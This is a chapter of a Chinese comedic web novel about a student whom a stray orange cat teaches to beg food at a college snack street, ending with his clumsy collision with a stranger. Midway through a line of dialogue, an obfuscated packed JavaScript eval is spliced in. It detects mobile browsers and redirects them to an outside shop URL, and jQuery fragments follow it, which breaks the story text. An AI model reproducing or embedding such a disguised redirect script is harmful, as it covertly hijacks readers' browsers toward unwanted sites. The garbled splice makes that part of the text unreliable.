5. 丢脸

作品:《猫猫大学不要开除我!

    “就、就是这里吗?”


    江泽绒想过也许是去公园捉鸟、去河里捞鱼,最不济也是去路边的花坛里捣鼓点昆虫来玩玩,却没想到会是这里。


    一人三猫站在熙熙攘攘的美食街前,身边路过的都是靓丽青春的少男少女,简陋的小摊上挂着诸如‘最正宗长沙臭豆腐’、‘火辣辣大鱿鱼’、‘中国本土汉堡’、‘老兵烤鸡’之类的标语,随着一阵阵吆喝声,一股子呛人但喷香的白烟铺面而来。


    这、这是大学城的美食街啊!


    江泽绒正在感慨猫猫们的捕猎方式实在是与时俱进,就听见橘猫喉咙里发出咕噜咕噜的威胁声。


    “怎么啦?”江泽绒抬头一看,原来是一个年轻小伙正准备骑走他的共享单车。


    oi!小鬼!橘猫恶狠狠刨地,松开猫的车!


    小伙毫无知觉地扫码开锁。


    橘猫出离愤怒了,猫的威胁姿态已经表现得淋漓尽致了,小鬼居然还敢动它的宝座!


    一辆半挂卡车加满了油,‘嗷’地一声扑了上去。


    小江猛地大跨两步,眼疾手快地在空中截住了橘猫炮弹,一把把猫锁进怀里,急道:“NO!NO!”


    他一边费劲地制住橘猫挥舞的爪子,一边尬笑着跟吓一跳的小哥解释:“我们刚刚是骑这辆车来的,它可能以为这是我的车,实在是不好意思啊!”


    只见那小哥惊恐地点头,连脚刹都没打上去就一溜烟骑走了,背影看上去颇有几分落荒而逃,可见胖橘张牙舞爪之可怕。


    “那是猫的!猫的!”胖橘声嘶力竭,气鼓鼓地嚷嚷着。


    “咪咪,那不是你的。”江泽绒把猫放下来——当然他并没有松手,还耐心地跟它解释共享单车到底是怎么运作的。


    胖橘沉重地埋着脑袋,一动不动,江泽绒怀疑它耳朵压根没打开。


    过了好久,它才昂起头来,深深地长吸一口气,圆滚滚的大脸盘子上依旧写满杀气:“黄泉丧彪,会记住这个味道。凡人,你且等着。”


    ……果然。


    边上两只猫崇拜地盯着胖橘。


    橘猫深沉地嘱咐道:“以后要称呼我的大名,毛毛。”


    “好的,毛毛。”江泽绒顺毛道,多贴切的名字,橘猫毛茸茸的,就像个毛球球。


    橘猫一个趔趄,回过头来茫然道:“猫的名字,叫丧彪。”


    江泽绒:……


    什么玩意?你叫丧彪,那毛毛是指我吗?


    小江挣扎:“我不想叫毛毛……我还是比较威武的吧?要不叫泽泽?”


    三只猫看天看地,反正不看他。


    行吧,江泽绒勉强微笑,起码是个很好记的名字。


    小江好说歹说,橘猫才放弃了要纠集猫猫学生围猎那可怜小哥的打算。


    小吃摊上袅袅升起的香气交织成一曲勾猫味蕾的交响乐。


    丧彪消气了,在白烟里嗅嗅,打了个喷嚏,又转头问江泽绒:“想吃什么?”


    “啊?”小江犹豫半天,小心翼翼地指自己:“问我吗?”


    “嗯。”丧彪无精打采地点了下头,猫的车车……


    “就那个香肠吧……”小江心惊胆战地提要求,生怕丧彪一个虎扑把人家的摊子推倒。


    小江做好了一个跃步拿下炮弹的准备,却看见丧彪懒洋洋地踱步上前,在一个打扮得很精致的小姐姐面前停下。


    然后,啪唧,就躺倒在地。


    江泽绒:……


    “喵喵~”丧彪发出了一些无意义的猫叫,大白肚皮一扭一扭,立马收获了两个小姐姐的尖叫和抚摸。


    摸了猫就不许走咯,丧彪一个胖鲤鱼翻滚爬起来,轻轻地拱着小姐姐来到烤肠摊前。


    “喵喵~”丧彪眼睛一眨不眨地看着烤肠,脑袋一抬一抬。


    边上的烤肠摊主立马开口推销:“诶,这只橘猫老顾客了!我这里有专门卖给猫的烤肠,无盐的,猫吃了好!”


    江泽绒目瞪口呆:……太直白了!你们好歹演一下啊!!


    ……


    片刻后,橘猫一脸无情地叼着一根全新的猫猫烤肉肠回来了,留下两个小姐姐一边发出惋惜的叹气声,一边还在感慨‘好聪明的猫猫’。


    真的是一秒都不带多停的。


    小江恍惚:这也太熟练了,丧彪圆润的大肚腩是糟蹋了多少无辜的烤肠得来的……


    正想着,丧彪脑袋一抬,温热地烤肠就挤在江泽绒的手边了——老板很好心,还把烤肠放凉了、抽走签子才递给猫猫。


    “喏,吃吧。”丧彪把肉肠硬塞给江泽绒。


    斑点白和小花猫的眼珠子都要贴肉肠上来了,却被丧彪驱赶:“去去去,自己捕猎去。”


    丧彪蹲坐在一旁,催促道:“吃啊,看猫干什么?这么瘦,一根毛都没有,可怜猫。”


    江泽绒捏着烤肠,觉得心里软软的,被猫猫关心了诶~


    他伸手拦住两只预备出发的小猫,把肉肠掰成小块,笑着说:“最近上火啦,嘴巴痛痛,我不能吃这个,你们吃,告诉我是什么味道的就好~”


    两只小猫狂点头,口水不争气地流。


    斑点白狼吞虎咽:“香、香香。”


    小花猫吧唧吧唧:“好吃,好吃。”


    丧彪看看他,眼睛还是小小的:“真是没办法,嘴巴痛也要好好吃饭哦,没饭吃就来找老师。”


    丧彪不算是一只很好看的猫,江泽绒很早就知道,它的橘色毛色很普通,尾巴不知道为什么断了一截,皮毛因为风吹日晒显得有点脏兮兮的,又总是眯缝着小眼睛,看上去灰头土脸的。


    小江只是见它常常守在猫粮投喂处,现在回想起来,倒是很少看见它自己在吃,身后总是三两只肚子瘪瘪的猫在大嚼特嚼。


    它应该是在履行自己的这句话。


    眼睛酸酸的……在猫猫的世界里,能把肚子填饱就是顶顶重要的事吧。


    小江沉浸在悲伤的心情中,决定今晚回去下单新鲜的猫粮,势必多搞几个投喂点出来!


    然后,丧彪就开口了:“好了,现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097987|149666||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在到你们了。”


    “啊?”小江悲伤的心情一下就碎裂了,居然还要当堂检测?


    两只猫略一对视,斑点白就率先出发。


    它怯怯地走过去,瞄准一个人类柔柔地喵了两声,就快乐地叼回来一片水煮的五花肉。


    丧彪赞许地点头。


    小花猫直接往别人脚上躺,碰瓷碰得演都不带演,抱着人家的脚就不撒手,喜得那大学生当场开始拨号,嚎得十里八方都能听见:“妈!我要养猫!”


    丧彪满意地晃晃尾巴。


    现在,三只猫就一齐盯着小江猫了。


    啊?江泽绒一脸痴呆地指着自己,我也要吗?


    “不要怕,只要像我一样翻肚皮就好,很简单的,去吧。”丧彪老师不容反抗。


    江泽绒艰难地挤出一个假笑:……


    老师,猫猫打滚翻肚皮咪咪叫,的确会有香肠猫条猪肉脯……但人类躺在路中间翻肚皮,就只有银手镯白大褂小糖丸啊!


    我补药被抓起来哇!


    他试图抢救一下自己,于是拙劣地抱起自己的脑袋蹲下:“哎呦,脑袋好痛……太阳好晒,也许是中暑了……”


    “哎呦,哎呦……”


    “中暑你们知道吗?”江泽绒还抽空给三只猫猫解释,“就是太热了,我待会会‘吧唧’一声倒下去……”


    “就像这样——”江泽绒小小的在心里庆幸了一下,幸好这个位置还算偏僻,没有人会注意到他的表演,待会他就往墙上靠,慢慢的坐下,既不明显,也可以逃脱大街上翻肚皮的命运,然后……


    他就靠在了一个人的腿上。


    嗯?


    嗯嗯?


    什么鬼?


    哪里蹦出来一个人?!


    他惊愕地抬头去看,那人的脸在光晕下模糊,只能看见紧绷的下颌线,轮廓分明——是个年轻男人。


    江泽绒顾不得去探究哪里来的人,手忙脚乱地想起身,却没想到失去平衡二次跌倒,反倒是一屁股坐那人油光发亮的皮鞋上。


    完了,完了,我今天没脸见人了……


    小江死死咬住嘴唇,一手撑地一手撑着墙,借力起身,脑袋一个后仰,一头撞上男人的某难言之地。


    咚!


    “嘶——”江泽绒只听到一声难言的闷哼,克制、隐忍,但是……


    听起来就很痛啊!


    江泽绒速速爬起来,他的脸涨得通红,一个九十度大鞠躬,连声道歉:“对不起对不起!我真不是故意的……”


    老天啊!晴天劈雷把我弄死吧!


    那人什么都没说——也许是痛得开不了口了,快步走远了。


    江泽绒只能看到翩飞的衣角,还有一只青筋分明的手,死死地攥成拳头。


    这一拳居然没有呼我脸上,真是个有风度的人啊!小江流着宽面条泪,悲伤地抱头蹲下,盘成一个失落的大蘑菇。


    为什么?为什么不一拳呼死我得了!


    不要留我在这个丢脸的地方苟活呜呜……